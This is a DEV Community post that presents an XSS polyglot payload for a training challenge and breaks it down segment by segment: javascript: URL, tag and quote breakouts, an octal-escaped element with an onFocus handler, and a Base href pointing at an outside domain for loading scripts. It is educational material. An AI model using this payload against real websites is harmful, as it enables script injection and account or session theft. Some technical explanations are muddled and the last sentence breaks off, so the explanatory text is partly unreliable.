DEV Community

Mrhili Mohamed Amine
Mrhili Mohamed Amine

Posted on

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
Enter fullscreen mode Exit fullscreen mode

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//
Enter fullscreen mode Exit fullscreen mode

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>
Enter fullscreen mode Exit fullscreen mode

This section attempts to break out of various HTML tags like <title>, <style>, <script>, <textarea>, and others.
It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.
It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.
Quote Breakouts:

/*'/*\'/*"/*\"/*\/%26apos;)/<!-->`
Enter fullscreen mode Exit fullscreen mode

This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.
/.../ is useful for multiline comments and ignoring filter checks.
%26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.
Event Handler and Execution:

`
\74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//>
`

\74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.
K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.
The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.
Advanced Evasion Techniques:

`
<Base/Href=//X55.is\76-->
`

<Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.
/76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.
HTML Comment Insertion:

<!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.
Polyglot Logic:
Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.
Bypassing JavaScript Filters: Through commenting techniques (/.../, //) and quote escapes, it handles multiline scripts and prevents syntax errors.
Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.
Mind Map Summary:
Polyglot Core:
JavaScript Execution (alert?.(1))
HTML Context Breakouts ()
JavaScript String Injection:
Escape Quotes (/'/\'/"/)
Inline Comments and Multiline Escapes (//, /.../)
HTML Tag Evasion:
Tag Close Breakouts ()
Arbitrary Tag Injection with Event Handler ()
Advanced Tricks:
Octal Encoding for < and > (\74 and \76)
CSP Bypass using and external URL (Base/Href=//X55.is)
Final Injection:

Mixed context polyglot triggering across multiple browsers and scenarios.
This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both

Top comments (0)